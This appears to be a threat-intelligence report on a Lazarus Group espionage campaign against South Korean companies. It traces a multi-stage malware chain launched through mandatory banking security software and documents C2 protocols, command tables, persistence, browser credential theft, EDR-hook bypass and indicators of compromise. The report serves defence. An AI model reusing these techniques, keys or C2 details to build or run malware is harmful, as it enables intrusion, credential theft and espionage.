❌

Reading view

Operation FlashHole: Lazarus breaks security, defies control

In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.

Operation FlashHole attack flow during initial compromise

Operation FlashHole attack flow during initial compromise

Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.

Background

After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.

We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory.

As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.

In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section.

Initial infection vector

Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.

Appearance of the malicious websites

Appearance of the malicious websites

The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (1, 2). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.

Suspected use of an AI-generated image on the résumé site

Suspected use of an AI-generated image on the résumé site

The websites contained embedded links that loaded an external JavaScript file via a script tag.

  • Malicious link embedded in the résumé site: hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js
  • Malicious link embedded in interior design site: hxxps://pythonapischool[.]com/api/detach

Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.

Full infection chain

Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.

Initial infection chain

Initial infection chain

Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.

Expanded infection chain after gaining persistence

Expanded infection chain after gaining persistence

Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.

Malware set

The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.

TechHub – the start of the chain

TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.

This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.

We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.

When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.

  1. It creates a new issue titled 1[ID] with the body “hel” using the POST /issues request, and sets its status to open.
  2. It then retrieves a file from the repository containing the 2[ID] value in its name. This file contains the RSA public key.
  3. It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with 1[ID], to the repository.
  4. The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.

During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.

After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number]. The malware is now fully prepared to receive commands from the repository.

TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.

Command Description
mqdrz Collect information about the device and its running processes
laeca Directly invoke the received shellcode in memory
aqvxp Terminate the current process
rtcya Beaconing after finishing the handshake process

Cubridge – the framework orchestrator

Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.

To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3]. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999. Consequently, each generated URL is designed to appear authentic and remain unique for each request.

The predefined list for page1 is shown below. TechHub randomly selects one item from the list.

economy, opinion, politics, national, international, medical, investment, sports, lifestyle, shopping, culture

The predefined word list for page2 is shown below.

article, list, story

This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above.

Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (KW4Ofw982CNJjxd51AVqkGAop), and a randomly generated 16‑byte hexadecimal session ID.

Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data.

Cubridge's communication sequence

Cubridge’s communication sequence

Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:

  • Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);
  • Tools (in DLL form) – independent utilities that perform one-off tasks;
  • Modules – components that are loaded once and remain active providing an extended set of functionalities.

It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed.

Command Payload type Description
0 – Collect device info including the computer name, time zone, PID, and other similar details
1 Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
2 Create a file at the specified path
3 Possibly plugin Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection
4 Plugin Reflectively load a plugin in DLL format
5 Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters
6 Retrieve all information about the loaded plugins
7 Unload the specified plugin
8 Shellcode Inject the provided shellcode into the target process and load it using section mapping injection
9 Load the provided shellcode directly into memory
10 Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter
11 Retrieve all information about the loaded shellcode
12 Unload the specified shellcode
13 – Set the scheduled Cubridge execution time (in minutes) by updating a global variable
14 Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable
15 Terminate in a controlled manner
16 Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc.
17 Update the global flags, the number of C2 servers, the C2 addresses, etc.
18 Tool Load a DLL reflectively with the specified parameter
19 Configure the parameters for loading a single DLL
20 Unload the single DLL
21 Module Load the “action module” (ActionModule.dll) reflectively and invoke its AppinfoView export function
22 Load the “function module” (FunctionModule.dll) reflectively and invoke its PresentationFontConfig export function

Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41, and the function module handles commands 42–79.

The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41. Execution results are first sent to Cubridge, which then forwards them to the C2 server.

Command Role
23 Get local disk space for each drive
24 Get information about the specified file or directory
25 Execute the provided command
26 Get information about the specified file or directory (similar to command 24)
27 Execute the provided command under the target process (PPID spoofing)
28 Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation)
29 Get detailed information about processes
30 Terminate the provided process
31 Suspend all threads belonging to the specified process
32 Resume all threads belonging to the specified process
33 Permanently delete the file by overwriting its entire contents with the sequence: 0 → 1 → random bytes → 1 → 0
34 Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API SetFileInformationByHandle
35 Set the current working directory
36 Copy the specified file to the provided path
37 Delete the specified directory
38 Move the specified file to the provided path
39 Create the provided directory
40 Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning)
41 Read the specified file

The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.

Command Role
42 Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
43 Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument
44 Get information about the specified directory
45 Get information about the specified drive
46 Inject the provided DLL payload into the target process
47 Unload the specified DLL from the specified process
48 Implementation of the ipconfig command
49 Implementation of the net command
50 Implementation of the netsh advfirewall firewall command
51 Implementation of the netstat command
52 Implementation of the ping -6 command
53 Implementation of the reg command
54 Implementation of the sc command
55 Implementation of the ping command
56 Implementation of the whoami command
57 Implementation of the nslookup command
58 Implementation of the schtasks command
59 Implementation of the systeminfo command
60 Implementation of the arp command
61 Call the CryptUnprotectData function to retrieve the AES key that DPAPI protects. Extract the key using the encrypted_key keyword from Chromium’s Local State file located at: %LOCALAPPDATA%\Google\Chrome\User Data\Local State
62 Not implemented
63 Not implemented
64 Read the specified file and decrypt it using an XOR operation with the key 0x59. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
65 ~ 79 Not implemented

Besides the modules, we also observed that the actor deployed various plugins and tools.

Type of payload Name Description
Plugin ADFinder (AdFinder.dll) Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names
Plugin FileCollector (Dll.dll) Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each
Tool Browser stealer Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies
Tool Process collector Iterates over all running processes, collecting each process’s ID, path, and command line

TouchHub installs a service for TouchShift

During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe, registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis.

It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service. The newly created service is started immediately.
Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges.

Path Type Description
C:\Windows\System32\RasConv\ImeBroker.exe Executable file registered as a service Copied from C:\Windows\System32\printfilterpipelinesvc.exe
C:\Windows\System32\RasConv\mscoree.dll Side-loaded TouchShift payload Dropped by TouchHub. It contains encrypted payloads and includes portions of a legitimate DLL’s contents, which significantly inflates its size
C:\Windows\System32\RasConv\ActivationStore.dat TechHub’s configuration file Dropped by TouchHub after extracting configuration values

TouchShift, a prevalent loader employed across multiple infection chains

The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post, even sharing the same malicious export function, LockClrVersion. It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes (\x00); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was:

  • Argument: -TimeBroker\x00\x00\x00\x00\x00 (padded with NULL)
  • Hard-coded XOR key: x809G736iC3f8Wp8
  • Executable filename: ImeBroker.exe\x00\x00\x00 (padded with NULL)

After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration.

ClientHub

We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials.

Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group.

To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64.

Offset Size Field value
0 4 Current process ID
4 4 First four bytes of the decrypted C2 server information.
8 7 Randomly generated bytes
15 1 Calculated flag value that indicates a state machine.
16 8 Current system time, represented as a FILETIME structure.
24 8 Randomly generated bytes

The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Mobile, Sec-Fetch-Mode, and Sec-Fetch-Dest. These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body.

struct header
{
  int has_more_data // whether more body data remains 
  int body_checksum;// ROR13 checksum for the body data
  int body_type;    // specifies the body type
  int unknown;
  int body_length;  // Length of the body data
  int IV[2];        // Random IV used to encrypt the body data
};

The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1, 0x2, 0x4, etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload.

The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once.

Bitmask Value in decimal Description Result sent to the C2
0x00000001 1 DLL loading: load the received body reflectively along with the provided parameter The payload’s image base
0x00000011 3 Plugin: load the received body reflectively, obtain the address of a function in the payload, and then invoke that function along with the provided parameter The payload’s image base, the address of the invoked function, and the execution result
0x00000101 5 Plugin: load the received body reflectively, obtain the address of a function in the payload, but refrain from invoking it immediately The payload’s image base, the address of the function
0x00001011 11 Plugin: execute the behavior associated with value 3, then unload immediately after invoking the plugin –
0x00010001 17 DLL loading: load the received body reflectively with the provided parameter, maintaining stateful communication via a persistent interactive session using a shared buffer The payload’s image base, the address of the interactive shared buffer, and the execution result

The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1, 3, or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently.

Bitmask Value in decimal Description Result sent to the C2
0x00000010 2 Invoke the previously loaded DLLs and plugins along with the provided parameter The execution result
0x00000100 4 Not implemented –
0x00001000 8 Unload the previously loaded DLLs and plugins The execution result
0x00010000 16 Send the updated parameter to the payload loaded by the command with the value 17, and exchange data through the interactive session. This command also determines whether to retrieve the execution result or unload the payload The execution result

Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub.

Plugin Description
File archiver Archives the provided file using the legacy ZipCrypto algorithm (without password protection) and returns the compressed data
File collector Searches for all files matching the provided search pattern and collects metadata including filename, MAC timestamps, file size, and attribute values
File cleaner Overwrites the provided file with NULL bytes, renames it to a randomly generated filename of the same length, and then deletes it. If a directory with a search pattern is provided, it locates all matching files, renames each to a randomly generated name of identical length to its original name, and deletes them
Drive and session monitor Monitors remote session changes and local drive changes for the provided duration (in 10-minute intervals) and returns the collected status information

In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism.

LPEClient

LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020. Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day.

LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment.

Timeline of LPEClient

Timeline of LPEClient

The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes.

  • It does not collect the version of the ntoskrnl.exe file by querying the FileVersion value. Instead, depending on the specific build, it reads either the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR registry key or the SYSTEM_BUILD_VERSION_INFORMATION structure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level.
  • To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads C:\Windows\System32\wbem\Repository\OBJECTS.DATA and searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products.
  • It also collects low‑level Windows security mitigation states. To achieve this, it queries the SYSTEM_KERNEL_VA_SHADOW_INFORMATION structure for the Kernel VA Shadow mitigation status and the SYSTEM_SHADOW_STACK_INFORMATION structure for the Shadow Stack (CET) protection status.

Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message.

The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption.

Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads.

The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 128-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5). The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ', which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server.

Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook.

We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows.

Data relay flow between LPEClient and C2 via ClientHub

Data relay flow between LPEClient and C2 via ClientHub

Comparison of plugins and modules

Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools.

Deployed via Type of payload Family
TechHub/Cubridge Tool Process collector,
Browser stealer
Cubridge Module Action module, Function module
Cubridge Plugin ADFinder, FileCollector
ClientHub Plugin File archiver, File collector, File cleaner, Drive/session monitor

These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016.

Infrastructure

Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion.

For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel.

Victims

We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected.

The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks.

Attribution and links to other campaigns

Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment.

The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023.

We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus.

Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole.

As AhnLab noted in their report, the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration.

Data leakage site linked to the COPPERHEDGE backdoor on the dark web

Data leakage site linked to the COPPERHEDGE backdoor on the dark web

Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack.

Overlaps between the recent attacks by Lazarus Group

Overlaps between the recent attacks by Lazarus Group

Conclusion

Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software.

We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals.
In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated.

Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*.

Indicators of compromise

File hashes

TouchShift
ec84d6cb2ae7974767aedac246b50a3e             mscoree.dll
a28cba214058fcae2883d8cffc883abd                mscoree.dll
c105d6b16f544582772de0159f24c00a               mscoree.dll
2f8475a90a25624ed02f1d18d4e6d65d              mscoree.dll
676fabe30a28b53925fba98e34b35986              mscoree.dll
b4a7eff35f048f06fb0a2d7631f23a7d                  mscoree.dll

ClientHub Loader
ff07641dc56914dd90ee0bd7404d7ad7               liblzma.dll

File paths

C:\ProgramData\Package.txt
C:\ProgramData\RasConv\mscoree.dll
C:\ProgramData\Apple\mscoree.dll
C:\ProgramData\ssh\mscoree.dll
C:\ProgramData\qorestor\mscoree.dll
